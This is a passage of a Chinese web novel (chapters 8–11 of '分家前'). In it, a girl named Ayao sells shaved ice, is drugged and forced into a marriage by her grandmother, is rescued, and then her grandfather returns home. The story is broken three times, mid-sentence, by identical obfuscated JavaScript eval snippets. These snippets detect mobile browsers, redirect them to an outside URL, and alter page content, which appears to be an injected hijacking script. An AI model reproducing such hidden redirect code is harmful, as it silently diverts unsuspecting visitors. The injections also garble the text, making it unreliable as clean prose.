他走到摊子前:“来碗冰沙。” 阿瑶虽不知店家来此作什,但凡是上门客人来者不拒,她打算给对方做一碗寻常的蜜沙冰,先用牛乳注底,加上自制果酱,再铺上冰沙放上蜜豆,最后淋几圈糖浆。 呈现到对方面前时,阿瑶发现店家眼底有几分轻蔑之意。 “您尝尝味道如何。” 8. 分家前(八) 单论款式简单的蜜沙冰,光花楼就能独占一份,更何况其余冰饮小摊。 花楼店家能够准许他们做冰饮生意不过是看在口感上无法比拟他家特有招牌蜜沙冰,款式简单架不住多人吹捧。 店家舀起勺沙冰送入嘴,清甜与奶香交加,果酱赋予的酸味中和了蜜糖及豆沙的甜度,多吃上几口都不觉得腻。 阿瑶感知店家眼神中突然转换的神情,低头道:“敢问店家,这蜜沙冰味道如何?” “好,甚好。”店家咽下嘴中物,吸气时鼻腔内皆是果香。 阿瑶看出店家想说些什么,先他一步说了出来:“店家是想问,我是如何做到的?” 店家瞥了阿瑶一眼飞快掩饰下眼中升起的惊愕神色:“小看你这小姑娘,手艺了得,不知可有兴趣与我合作。” 之前睥睨她的模样,阿瑶还记在心中,微微侧头:“我摊子小,怕没了店家的期许,既然大家诚心相待,那便八二分吧!” 对方人小又精,做了十多年生意,第一次听见如此狂妄话语,他惊叹阿瑶手艺,又刻意想要压上一压。 “你六我四。”店家推开蜜沙冰,搁起手肘,歪身坐。 价钱没开出阿瑶意向的数,她忽然起身不想将口舌浪费在店家身上:“您无意做生意,我既不强求。”一句话切断两人之间未能达成的协议。 “小姑娘,心气大,可做不好生意。”店家朝阿瑶笑了笑,“你七我三,如何。” 阿瑶手头紧缺银子厉害的很,可也是有底线的,对方故意压价如此厉害就是想探一探她实力,今日若答应下去,往后想要提上去可难咯。 她再次开口:“我八你二。” “不成。”店家一再退让,七三已是最大限度,折算上人工和各类食材,他能从中所得甚少。 “既如此,店家请回吧。”阿瑶直接了当。 店家收回目光:“小姑娘,做生意这事还需多学。”他抖了抖衣袖,整理好衣衫离去。 送走人,阿瑶收起琉璃碗送到河边洗净带回摊子放好。 梁文宇坐在伞下叼着野草根,闭眼小憩:“送上门的生意不做,怎么是不缺钱了?” “怎会不缺。”阿瑶反驳起来,“只是我无意与那店家合作,他心中瞧不上,更无诚意,与豺狼合作有去无回的亏本买卖,不做也罢。” 于人为伍,阿瑶看重对方诚信,就同她对梁文宇的无心之失是一样的。 “其实,我对不住你,本想取回银钱作罢。”阿瑶首次向梁文宇道歉之事,“可没想到弄巧成拙,害你失去万贯家产。” 梁文宇睁开眼,眼底神色散漫,抽出嘴边草,坐正姿态:“如今有你养着,就当是为我赎罪。” 阿瑶真想抽自己一嘴巴子,好端端说这个,背上多了二十两欠款不说,还多了位“老子爷”。 店家在阿瑶哪里吃了闭门羹,转身进了后厨,此时厨房里忙着为楼上雅间的贵客们烹饪精致吃食,他朝那一站,招手示意许老大过去。 待人靠近,随口胡编道:“老许,你家姑娘蜜沙冰做的极好,我本有意拉她进花楼当厨娘,可小姑娘自己主意大,你替我去探探口风。” 紧接着店家继续说道:“说来奇怪,最近来店中吃蜜沙冰的食客有所减少,你可有什么好法子。” 许老大人高可不傻,他听出店家想让他去问阿瑶制作蜜沙冰的方子,装傻说起来:“阿瑶平日都瞒着我偷偷出去,得亏店家告知,我今日回去好好说说她。” 话语间是只字不提他知晓阿瑶做冰饮一事,全程下来店家毫无所获,只好顺势但做督工看了会儿离去。 花楼近期冰饮生意被阿瑶带走大半,留下的食客都是些没能抢上号子的人,他们恨自己没能早些过去。 阿瑶冰饮摊的生意一日比一日好,好到都要排队叫牌数,抛开成本不说,一日买卖算下来未到一贯钱,可十日之期迫在眉睫。 她除了靠冰饮挣钱之外再无其他闲暇时刻。 每早购入的冰块总在晌午前用完,这些天要跑冰铺两趟,她想过银子紧缺趁食客多先推出点预定,再适当提一提价格。 或许价格上去后,她能多存下银两,少吃少用也好,勒紧裤腰带也好,只求快些还清,可家中已有些揭不开锅,阿娘平时会接些绣花的活,即便每日每夜的绣也无法准时还上。 她今日卖完的格外早,主要是底料光的快,特意空出时间来准备。 收拾好摊子回宅子时,已临近日落,阿瑶托梁文宇帮忙买了各类果子回来,清洗、装盘,切丁,花费好些功夫。 前阵子试着用麦子催芽制糖,现今看,那芽头已有一指高,长势极好。阿瑶把它们从棉布上扯下来丢进木盆揉搓,其间剔除未完全发芽和发黑的麦粒。 之后需要把麦芽捣碎,这项活儿便交于梁文宇,她则去洗糯米和生火,只有先将糯米煮熟捣烂才能使用。最后将碎麦芽与其混合,室外放置能使其发酵。 弄完一切,阿瑶又帮她的“仆从”准备了些吃食,她观察过梁文宇口味喜好,发现他喜吃爽口,每每同用膳时都将凉菜吃尽,手头紧迫,做了两道蔬果居多的下饭菜,一道是芥辣瓜儿,另外一道是凉拌鸡丝莴苣。 当晚回家,听闻家中阿嬷同小叔伯吵了一架,气势汹汹面色十分难看,饭桌上几个小辈是话都不敢说上几句,全顾着低头吃饭,气氛宁静到极致。 因要替小叔伯还债,他们吃的都是些粗面窝窝和时令野菜。 “过几日便要交钱了,老二家里头能拿出多少是多少,老大也尽力了,后面欠的那些钱,老婆子我再去借一借。”许陈氏怕后边老头子归家不好交代。 眼看家里头大大小小都在为小儿出力,哪怕气急了说了胡话的老大媳妇都每日每夜赶工绣花,还是要给些面子,闹的太过反而不好。 许陈氏放下碗筷:“娘年纪大了,是该享享清福了。” 许老大夫妇听见话相互对视一眼,低头不语。 “娘,您这是什么话,家里大小事务都得您过目,媳妇我愚笨还想跟娘多学学。”小叔母放下筷子,甜言蜜语说着,“往后我一定盯紧老二。” 阿瑶心里嘀咕了几句,小叔伯什么德行估计阿嬷清楚的很,无非是不想同他们一起还,搭上棺材本不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15430101|169210||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 说,还倒欠一屁股债。 “弟妹说的是,家中还需娘操持。”海氏前段时日刚同许陈氏吵过架,能说句软话已属实不易。 自打那日许老大被逼急说出了分家后,全家上下明显能感知到许陈氏变化,她多了些慌张,这几日安分渡日,没再挑海氏毛病。 许陈氏手中捏着窝窝,叹气道:“娘吃了一辈子苦,盼着我的儿孙们能有出息,可老二一天天竟给我惹是生非。”她说着就来气,拿起筷子朝许老二手上敲。 “吃吃吃,一天到晚的吃。”许陈氏咬牙切齿,“还不收拾东西跟我去趟镇子。” 许老二把小半个窝窝塞进嘴里,撩起袖子擦嘴,紧赶慢赶跟上他娘。 桌上一下安静下来,小叔母嚼着菜,眼珠飘来飘去,阿瑶坐在她身边余光正好能够扫到小叔母动态,低头扒拉碗里野菜大口吃着。 等到傍晚,阿瑶心底惦记那些发酵中的麦芽,偷偷溜回去察看。 她到时梁文宇并未在屋中休息,不知又去了何处,阿瑶左右望了望没在管,打开竹匾用勺子摁下去直到能看见中间出水,往锅里铺上干净棉布将发酵物挤出汁水,此时的麦芽汁带着股饭香,麦芽汁由清澈透亮到浑浊冒起密集大泡,敖糖算是成功了。 刚出锅的麦芽糖丝滑细腻,阿瑶盛出所有糖浆装入小缸中凉一夜凝固,盖上小号竹匾遮挡。 阿瑶偷溜出家无人发现,她见天色晚没打算回去休息,留在宅子过夜。 梁文宇回来时院子里飘着糖香,屋子周边有人来过的痕迹,他见怪不怪,一连多日阿瑶回去又折返,他习惯了。 看着厢房门未掩饰以及地上脚印,他转身去了自己常住的那间房。 阿瑶同往常一样早起赶集市购买果子,附近有几家摊位上了新食材,阿瑶回去摆摊迟了些,等她拖着冰桶去往常摆的位置时,却看见哪里被别人支起来的木桌占着。 “阿哥,您往边上挪挪,我东西多,免得碰坏了你东西。”阿瑶好声好气说着。 谁知对方瞧都未瞧她一眼,只顾眼前食客,阿瑶当对方紧着客人等了上一等也无妨,可对方似乎并没有要让位子于她的意思。 眼看天大亮,人群渐渐变多,阿瑶生意耽误不得,动手替对方收上一收,这一收不料出了岔子。 对方脾气大,直接朝阿瑶开骂,像似个刺头。 “你是瞎了眼没瞧见我忙着,赶紧放回去。”对方冲过来夺走木桌,一个劲要摆在阿瑶的位置上。 她看明白了,这人是故意不想让她做生意。 “这位小哥,不知我们可有何处得罪于你。”梁文宇双手抱胸从人群中冒头。 对方侧头道:“并未得罪,只是瞧此处无人,暂借一阵。” 他们出摊做生意非一日两日,周边同行都知晓他们在此,州桥之上每个位置但凡有人占位做生意后,周边相邻摊位间都会相互转告,时间一久若有那日不来,都要替对方留上一留。 梁文宇见对方说的并未是实话,凑到身旁放下一粒银子:“劳烦小哥通融通融。” “你们定是得罪了人,有人要赶你们出城。” 9. 分家前(九) “多谢。”梁文宇得知消息后,拉着阿瑶到一旁说了些话。 两人商量一通,准备先离开花楼附近到州桥边上摆摊,刚支起摊子,阿瑶就让梁文宇去他们原先的地方立下牌子告知食客。 周边那些商贩,阿瑶来时有意同他们打好关系,除去碰壁的那位小哥,看摊子上挂出的藩旗和吃食,知道这人来路不明,理应好生相待。 纵然对方明面上有万般为难,可心底还算愿说实话的老实人,抛开他们花银子买消息不说,换做旁人指不定要再多骂上几句。 自昨日花楼店家离去,今早来时路上阿瑶明显感受到周边小摊同她私下说话之人变少,大家与她刻意拉开距离,即便是目光无意中对上也都只是点头微笑后转开。 她估摸时辰,看日出渐升,心想着时日还早打算去趟东市瞧瞧,历来东市物资丰富,巷子紧挨着城中富贵人家门户,物价虽高了些可有时也能捞到品相好价格低的时令果子。 前几次去阿瑶并没看到周边商铺有小木牌立着,闲逛途中眼尖的瞧见一处铺子角落的竹匾上堆着各类稀罕物。 要说是稀罕吃食,倒不如说是一些富贵人家瞧不上的东西,只是这些东西向来不该流入东市,阿瑶蹲下身细看了遍。 巴榄子(扁桃仁)五十文三两 要知道这玩儿在古代即是药材又是消遣果子,普通百姓是想见也见不着的。 竹匾里的扁桃仁外壳颜色匀称大小适中,成熟后的果子会自然裂开,透过缝隙能看到里头果实饱满 “店家,这巴榄子能否给我装一些。”阿瑶挑拣了几颗卖相不错的出来,朝铺子里喊道。 里头出来的是位妇人,她慈目善眉,穿着款式简单的黛蓝褙子,里着一条竹青襦裙:“小姑娘,你自己拿好于我过秤便是。”她眼中透着祥和,伸手整理盘髻,望了望前方出行马车。 东市往来商人并未西市多,此处来往平凡的便是各路富贵人家,每日马车进出少说也有十几、二十多回。 “看小姑娘模样生的好,不知是那家小姐身边伺候。”妇人未曾见过阿瑶,只当是街上哪户人家新买的仆从。 阿瑶挑好果子递到妇人手边磅上过杆,笑道:“大娘说话真有意思,我不过是个寻常人,做些小买卖傍身。” “可许配人家?”妇人眼睛毒辣,见阿瑶约莫十五、六七年级。 阿瑶神色一愣,抬头望进对方眼中:“早年许过,半道遭人毁约。”她胡乱瞎编一通。 “我见你样貌好,不如入我家门,做我儿媳可好?”妇人自检着。 阿瑶接过妇人手中果子放入竹篮内,眼神躲闪,看模样不愿回答,她从未料到出门买果子都能让人拉着做媒。 妇人明白阿瑶为难神色,开口道:“你同我说来,我亲自登门与你家中长辈说。”她是真心喜欢,一眼就相中了这小姑娘,料定她儿会喜欢。 眼见对方拉着谈话,阿瑶找了个借口:“大娘,我还赶着回去做生意,您有空可来西市逛逛。”说完头也不回的走了,害怕极了。 回去路上,她心底冒出大娘说的话,见人家铺面与其余几家不同,甚至低调中透露出华丽,妇人身上单看款式简单可料子却是市面上最好的时兴布料,头上首饰虽少,做工件件价格不菲。 一想到家中小叔伯欠下巨款,阿瑶顿时打消念头,静下心来。 她回去时摊子前寻牌子过来的食客等了有一会儿,梁文宇学会了其中打冰技巧,可底料方面还需阿瑶来做。 一来她比较熟悉,二则用料方面能精确把控,对后头食客增多有所感知。 阿瑶新买的巴榄子是炒熟后的,她路上尝了一颗,甘中带甜,很适合放进沙冰中。 她用果酱拌入牛乳中注入冰沙底部,在淋上大颗粒果酱浇头,最后往上头洒下碾碎后的巴榄子,从层次上更加丰富了口感,尤其是附带奶香的巴榄子。 州桥边买冰饮子的商贩更多了,大多都是些水加少量冰的解渴之物,小小一碗少说也要五文钱。 阿瑶低头看了眼自家木牌上写着小份蜜沙冰八文钱,中份十二文,大份十八文。相对比起来,貌似她价格定低了。 不打紧,阿瑶胜在手艺好,哪怕小份蜜沙冰她也能从中获取三文钱利润,小份的琉璃碗浅,一勺冰后就满了,淋上果酱,再在碗边放上几颗冷元子看起来卖相比大碗还要好上几分。 州桥通往两头集市,长长一座桥上,两边都开满了商贩,有撂下扁担靠在一旁休息的农户,还有出来赶热闹的老者和下学堂归家的孩童。 她的沙冰极具吸引过往行人,有几个孩童手中数着铜板回来,眼睛巴巴的望着,奶声奶气说起来:“大姐姐,能否买我们一份。” 看着这些孩子阿瑶想起了家中幼弟,与他们年纪相仿也是到了该上学堂的时候,她盛了几碗特意装得满满的,交到孩子们手中。 “小阿弟,大姐姐想问问你,你们在哪儿读书?”阿瑶走到一旁木桌边坐下。 “嗯,州桥前边有个学堂,里头的夫子是吴县令从外头寻来的,听说是位举人。”孩童慢慢吃着,语气稚嫩。 阿瑶点点头,替孩子们挽起袖口:“大姐姐家中也有位幼弟,想让他同你们一道去学堂读书。” 海氏生阿瑶时伤了身子,两口子没打算再要一个孩子,结果意外怀上了就生了下来,阿瑶与幼弟之间相差了十岁左右。 她心里想着能快些把宅子买下来,这样全家都能住进城里,阿嬷不喜她是真但两个幼弟颇为疼爱,时长有好吃东西带回家分。毕竟男孩还是要读书考取公名的,他们家祖上出过状元,朝代更替由属旁支逐渐落寞,想着还是有些书缘,这也是阿瑶想让幼弟进学堂原因。 等她把生意做大,做广,开了铺子,往后就不用吃苦。 送走孩童,阿瑶难得清闲时刻也便结束了,她走回摊子叫了梁文宇起来帮忙打冰,前阵子想推出的预定份数今日算安排上了,昨日有食客在她这定下二十多碗,要求每种款式各五碗,她 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15430102|169210||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 挑了些近期口味卖的最好的送过去,想着不会出错。 沙冰不光得达官贵人喜爱,连吴知县吃了回后也喜欢的紧,隔三差五派人来买上一碗,她今天忙,送冰的活儿只好由梁文宇去。 等人回来,阿瑶往其他酒楼去送了些冰沙,偶然间听见道瞄见道熟悉身影,她被人挡住去路拦在雅间门外,无意听见里头突然叫她名字的声音。 那声音粗粗一听略有几分耳熟,阿瑶着急回去,只当自己听错了,可面前路还未被清理干净,这才多听了几句。 隔扇门能听清字眼不多,阿瑶只知里头说话之人是她阿嬷许陈氏,至于另外一人未知,两人似乎在聊一桩买卖,她好奇竖起耳朵静静听。 “一百五十两加上宅子、铺面各一套,下月初八迎娶新媳入门。”说话的是位媒人。 许陈氏笑开了花,她脑子里已经开始盘算该如何花这笔钱,笑语道:“老姐姐,多亏了你愿意给几分薄面帮上一帮,否则我真不知该如何是好!” “我知你有位孙女,长相出众,看样子就知是位好生养的,那位贵人缺个儿子。”媒人喝了口茶,润嗓,“只要生了儿子,往后整个家产都是你老许家的。” “是是是。”许陈氏附和道,“老姐姐放心,我回去一定好好说说,莫失了这门好姻缘。” 阿瑶凑近听清了里头谈话,冷笑一声,她原以为阿嬷改了性子,收起卖她换银子念头,原来在这里等着她,潦潦听了几句离去。 外头暑气深,顶着炽热火球,阿瑶除去头皮发烫,手脚却如冰霜一般凉,走着走着便到了摊子前。 梁文宇从未见过阿瑶如此失魂落魄模样,收起了浪荡,一本正经:“可是发生何事?” 他一连问了三遍,大掌搭上阿瑶小臂,她才恍然回神,“无事,我来帮你。” 前面食客探了又探,他们不敢停下手中活,忙完所有活后,阿瑶跑回了家。 她要回去质问阿嬷,明明都是嫡亲为何次次偏心,不论是她连同这具身体内心都发出了低鸣,鼻尖酸涩。 一路小跑回去,家中阿嬷手里捏着银票笑眯眯数着,瞅见阿瑶进门,下意识将桌前银票往自己方向揽了揽,神态自然:“阿瑶回来了,快来看看大老爷给你准备的聘礼!” “阿嬷,我本以为你疼惜我,怕阿爹伤心,当是我错了。”阿瑶大力推开门,门板撞上泥墙发出巨响,“为替小叔伯还钱,真是什么事儿都赶做出来,可真是好阿嬷啊!” “混账东西,阿嬷一心为你还能有错不成。”许陈氏抓起银票举起,“你小叔伯有错不假,可媒人说只有你嫁过去生了儿子,往后那是数不尽的金银,何必再过苦日子。” 阿瑶冷哼一声,嘲讽道:“如此好姻缘,阿嬷怎不自己过去,您可是连生了两个儿子的人,这等子好福气应该您享才是。” “小蹄子反了。”许陈氏眼见劝不进阿瑶,想出手打她。 阿瑶非但不怕,还料定对方不敢动手,就直直站在原地。 10. 分家前(十) “啪!” 巴掌始终没落到阿瑶脸上,反而落到许陈氏自己脸上。 阿瑶瞳孔中透着震惊,条件反射般捂住嘴,她没料到阿嬷为了这些银票,对自己都能下狠手。 “阿瑶,你就救救阿嬷,等你把那老头子熬死,整个家里往后都是你说了算。”许陈氏转变态度,见阿瑶软硬不吃,便想以退为进。 “阿嬷说话可算数?”阿瑶有心逗一逗对方,故意说道,“半百老头,还是病秧子?” 许陈氏见有希望,连接上话:“自然是半百老头,等你嫁过去,随便找个人替你,等他归西后百贯家产到手,我们也能跟着你享福气。” “阿嬷打的算盘可真好。”阿瑶都没想过的事情,许陈氏早早替她谋划好了。 许陈氏收起银票:“那是自然,阿嬷替你找想。” 阿瑶侧头冷哼,从胸腔内发出不屑的声音,挑眉:“只怕阿嬷的如意算盘要落空了,我既不愿嫁,也不愿害人。这件事还请阿嬷回了媒人去。” 许陈氏见阿瑶忽然聪明了,想借着先前招式把她先弄晕过去,手中抄起地上扫帚要挥过去,她动作快利落躲开,对方扑空了。 眼前阿瑶不似从前那般子好拿捏,许陈氏心底也慌乱的很,她总是猜不准阿瑶心思。 干脆支起扫帚把话挑明了讲:“为你许配的好人家,你不愿嫁,你同我说说,欠下的银钱该怎么还上。” 阿瑶不以为然,歪头一笑:“自然是谁欠下的谁还。” 他小叔伯一家常年累月存不下多少银子,多数时候能够存下几文钱,已经是对他们最大的夸奖。 若非有阿嬷帮衬与偏心,这泥瓦房都破好几回了,次次都是阿爹所赚钱财补缺空洞。 旁的不说,就拿上交银两而谈,每月一粒粒交最后要还款是竟然连一粒都拿不出,只怕阿嬷私留的棺材本都还是许老爹回来时存下的。 许陈氏看着阿瑶充满讽刺笑容,苍黄眼珠闪过一道诡异光茫,“好,阿嬷亲自送你小叔伯进狱。” 她当着阿瑶面倒了碗茶水又给她倒了一碗,饮进后说道:“如今说了这会子话,你也该口渴了,喝些水润润嗓。” 亲眼看着对方对碗畅饮,阿瑶端起水小小喝了几口,她不敢多喝怕被下药。 回屋后,阿瑶坐在床榻上为自己划破的袖口缝制花纹,只觉得头脑有些发昏,心想躺下睡一觉就好,结果这一觉睡的有些漫长。 等她醒来不是在自己屋子,而是被绑在柴房,低头看手腕中间的绳结,大概知道了过程。 看来她阿嬷还是不死心一而再再而三要把她弄出许家门,可惜的是上次阿瑶能轻易解开,这次为了防止她逃跑连嘴里都塞上了布条。 任凭她怎么叫喊,都不会有人靠经,柴房附近多数时候都是阿嬷一人在整理,如今她父母双亲都不在家中,即便叫破了天都无人应答。 许陈氏听媒人讲是下月初八进门,但她担心阿瑶跑路,打算一不做二不休亲自将人给送过去。 把阿瑶拖上驴车又用稻草盖好,不留一丝痕迹,从外观看根本瞧不出里头塞了一个妙龄少女。 驴车经过州桥,耳边不断叫卖声让阿瑶升起一丝希望,她每日都在此摆摊,对周边做生意的人和事物再清楚不过,听见熟悉叫卖声时,阿瑶蛄蛹身子艰难扯下系在腰间的香囊送出去,心中期盼有人能发下来解救她。 “大姐姐,我们替你问过夫子,你家阿弟可来学堂念书。”孩童们惦记阿瑶做的沙冰,又跑来找她买。 结果看到摊位前并无阿瑶身影,反而是位男子,朝四周张望了好几次,确定是这家才走近问起来:“大哥哥,卖冰饮的阿姐去了哪里。” “那位阿姐,家中有事先回去一趟。”阿瑶同梁文宇说过自己回趟家中,一来二去将近一个多时辰,最后一位食客吃完沙冰离去都还未见阿瑶回。 其中一位孩子手中捡了地上香包举起闻,表面新添的花纹正对梁文宇,他抬头凑巧瞥见:“这香包是何处所捡?” 孩童如实回答:“就在摊子前,不过这枚香包和那日大姐姐戴的一模一样。”他们上过学认识香包前绣的字。 阿瑶归家路无需经过摊前,香包所掉位置奇怪,很难不让梁文宇起疑心,他问小儿讨要了香囊,捏入掌心,淡淡药草气息汇入鼻尖,绸缎花纹与他的相同。 回想起忙碌时州桥上一辆驴车,还是一老妇赶着进城,城中多数百姓早已不用稻草铺底,反倒朝东市去。 几个孩子中有年级稍大的,他听家中大人说,今天有糖可讨,想与伙伴商量:“你们可知东市的贾大商人今天娶妻吗?我阿爹说了只要是孩童都能上他家讨果子吃。” 贾大人是镇子上最为有名的商户,只可惜年纪大了一直无子嗣,最近去学堂路过贾府看见里头在准备婚事,他们也只是为了能够吃上果子而欣喜。 “刚才我来时看到贾员外新娘竟是从驴车上下来的。”他是最后一位离开学堂,昨日与同伴约好要吃冰沙,特意寻过来,“不过长相和卖冰沙的阿姐有点相似。” “你定是瞧错了,大姐姐回家去了。”有孩子反驳道。 正是这番对话引起梁文宇注意,他问了孩童贾府方向,寻他人过来暂时帮忙看一看摊子。 他到贾府时外头热闹的很,先前驾驴车的老妇也在其中,笑意深厚,堂前穿着红嫁衣之人正是一去未能复返的阿瑶。 从远处看宾客只当她娇羞不愿嫁,实则她嘴里被塞了红帕,双手被绑在一起,身后有人压着她下跪。 阿瑶转身时,眼底的悲哀与梁文宇思索目光不偏不倚撞上了,圆眼中好似看到了希望般透亮起来,挣扎着想要摆脱身后人。 梁文宇怕阿瑶惊动旁人,伸手做了个手势。 礼仪继续进行,阿瑶顺势跪下对着空荡高堂弯腰行礼。 不过片刻,外头便冲进官兵将里外围住,带头办案的正是吴县令本人,探寻前后缘由要看一看买卖文书,自古以来婚嫁一事皆需上报官府做文书存档,他为官几十载从未出现过这桩子事儿,如今亲自瞧见,气的八字胡都歪了些。 立即下令让人把阿瑶放了,暗地做买卖的媒人连同许陈氏两人被官爷压会衙门问话。 贾老爷本就身子弱,一时受到惊吓突然驾鹤西去,留下的百贯家产被充公为民。 回去路上,阿瑶拔下头上各种簪子,攥进手心:“多谢你相救。” 这桩不亏,欠款终于能还清。 “我救你不过是为了自己。”他语气散漫说着。 阿瑶微侧头,盯着梁文宇隽秀脸庞看,他身上还是那股子纨绔子弟模样,可多日相处下来,总 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15430103|169210||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 有些地方变得不同。 她想着是自己错觉,面前男子和往常并未有所区别。 “回家时我想着要将沙冰价格提上一提,所以想了些好点子出来。”阿瑶不再纠结于分辨梁文宇真面目,而是想着该如何做好冰饮生意、 她想起现代夏季流行起来的炒酸奶便想着能够做出来卖一些,虽然同属于凉物,但区别沙冰可大不相同。 一个用冰为底料,一个用牛乳果子为底料,要去找铁匠定做托盘,可手中银两不多,只怕还要缓上一缓。 阿瑶暂时只做沙冰生意,摊子前每天都排满人,问她购买沙冰的食客一波接着一波,全都是奔着她新奇古怪的点子而来。 如往常一样,阿瑶捞出冰桶中刨碎的沙冰倒入姜色黄杏果酱,因为有些果酱只能单独食用,阿瑶熬制过程中并未煮得特别粘稠,一勺下去刚好完全盖没,最后在顶上放上半颗盐渍樱桃,卖相方面诱人的很,一口下去冰凉酸甜。 往常贴近晌午时,州桥上来往食客已经聚集起来,阿瑶摊子不例外忙碌着,她手中打着果酱为食客搭配喜好。 远处走来一位妇人,手中拎着竹篮,向阿瑶点了一碗巴榄子沙冰。 她给时抬头瞄了眼,发现对方是前日去东市遇上的人喊道:"大娘,您怎么来了,快到后头坐。" 这位大娘瞥了眼她身庞男子,笑着交给阿瑶用布袋装的东西,“昨日铺子里来了些买果子的食客,我同他们说了说最近天热胃口不佳之事,他们推举我过来尝尝沙冰,没想是小姑娘你。” “嗯,大娘您稍等。”阿瑶收下大娘带来的果子,给她上了一份最大的冰沙,又多放了一些开胃果酱,最上头洒了巴榄子碎,“今日这碗冰沙当我送您的,您且尝尝是否合胃口。” 她适才接布袋掂量了里头,指腹触摸到的地方能感觉出是巴榄子,她虽爱财可礼尚往来的道理还是懂的。 “小姑娘,你这店里的小哥,长相俊俏不知可否婚配?”妇人尝了口沙冰,视线在两人之间流转。 阿瑶不知该如何作答,硬着头皮回道:“大娘,这事本不是我能管的。” 大娘笑笑未再说话,吃完沙冰告辞回去了。 许陈氏被扣压在衙门,交代完前因后果这才让官爷放了出来,她归家已晚,出事时家中人都知晓此事,许老大不许任何人去救,本来当天就该回家了。 孩童们上次没见着阿瑶,来吃冰时告诉她学堂招生一事,她有心让幼弟读书当晚与梁文宇说了几句打算让幼弟搬到城中住。 她回去时院子里只坐了阿嬷一人,见阿瑶回来免不了要说上几句难听的话。 “到手鸭子飞了,你当初听我的话嫁过去,何止过这种苦日子!”阿嬷得知贾员外身亡,惋惜那万贯家财。 “阿嬷这是还想进衙门喝茶?”她摸透阿嬷脾气,故意说道。 许陈氏听得心底发毛,她昨日见识过牢狱中对犯人是如何用刑,若非如实回答,她只怕还要再里头呆上几日。 “小兔崽子,是你告的官。”许陈氏扩大嗓门,“你说说阿嬷那点没替你着想?帮着外人欺负自家人。” “自家人,阿嬷今个当我是自家人,那天小叔伯犯了事,我就不是自家人了?”阿瑶眼神平静,从容得往向许陈氏。 僵持中门口出现一位老汉。 11. 分家前(十一) “老婆子,我都听见了。”此人正是常年外出务工的许老爹。 他这次回来可在家休半年,手中拎着下船时打捞的最后一批海鱼,没曾想归乡回来听到的是这番话。 许陈氏脸上流露出惊慌,迎了过去:“老爷子,您回来了。” “嗯。”许老爹将一串海鱼交到许陈氏手中,背手进门,注意到旁边阿瑶:“难为你了,小小年纪遭这样的罪。” “阿爷,我好想您啊!”凭借原身记忆阿瑶知道许老爹对她极其好,孙辈中唯有她时常被许老爹带在身旁。 许老爹走到木桌前坐下,黝黑脸颊上有道浅浅的疤痕:“我半年不在家,你就是这样照料孩子们的?家里欠了多少银子。” “老爷子,等晚上回屋说。”许陈氏明显要点脸面,给自个台阶下,打算应付了许老爹先。 许老爹压制怒火,心平气和发问:“不说,今日甭想进屋,全家子人陪你在外头呆着好好想想。” 阿瑶自觉找了理由回屋,走到墙后躲起来偷听。 前头许陈氏支吾半天说不出口,她凑到许老爹身旁坐下:“老二放高利欠了一百五十两,眼下老大和我都帮衬了一把,剩下一百两再找钱庄借借。” “你说啥?一百两!”许老爹颇有些震撼,“看你教出来的好儿子,整日里尽干这等子事,全家赔上家底同他玩过家家?” 一百两白银足够许老爹一年工钱了,他隔三个月会寄些银子回来,手头剩下不多,统共也就六十两。 许老爹自个倒了碗水喝,搁下碗:“去把那混账东西找回来!”他话里夹杂着时刻便要发作的怒气。 许老二躲在门口,听见里头老爷子说的话,脚下一踉跄摔倒在地,动静吸引了屋内注意。 阿瑶飞快跑过去瞧,看着地上四脚朝天的许老二,淡定道:“小叔伯!您回来了!”她说话声很大,像是故意为之。 许老二恨不得从地上跳起来捂住阿瑶嘴,他心底害怕的很,尤其是酿下大错后全靠阿娘替他善尾。 紧赶慢赶,没算许老爹归家时间,本以为还要在过几个月,却没想到提前回来了。 “阿爹,您回来啦!”许老二问好时心底发虚,说话声音弱了几分。 许老爹突然起身抄起手边扫帚朝徐老二打过去,那一下结结实实抽到人身,声音听着吓人。 “让你放高利,让你欠外债,看我不打死你这混小子!”许老爹边追边打。 许老二趁机躲到许陈氏身后,叫嚷:“阿娘,救我,爹今日非打死我不可!” 许陈氏护犊,许老爹下手狠起来真是让阿瑶看着都心惊,场面一度混乱。 好在许老大及时归家,否则许老二非得脱一层皮不可,手臂上一道道红印,浮得老高。 许老大夫妻帮助劝阻许老爹说了不少从未说过的好话,是在编不出来了,瞎说一通。 “你们不用替那孽障说好话,他的为人我心智肚明。”许老爹打累了往凳子上一坐,撑着扫把杆子喘气,“说,你后头还干了哪些好事!” 许老二连忙求饶,保证下次再也不敢了。 许老爹自觉的对不起老大家,挖出胸口存放的银两,掏了两块交子放到木桌上:“爹对不住你们,这些银子就当是爹替你弟赔你,你替他还了多少往后让他一一奉上。” 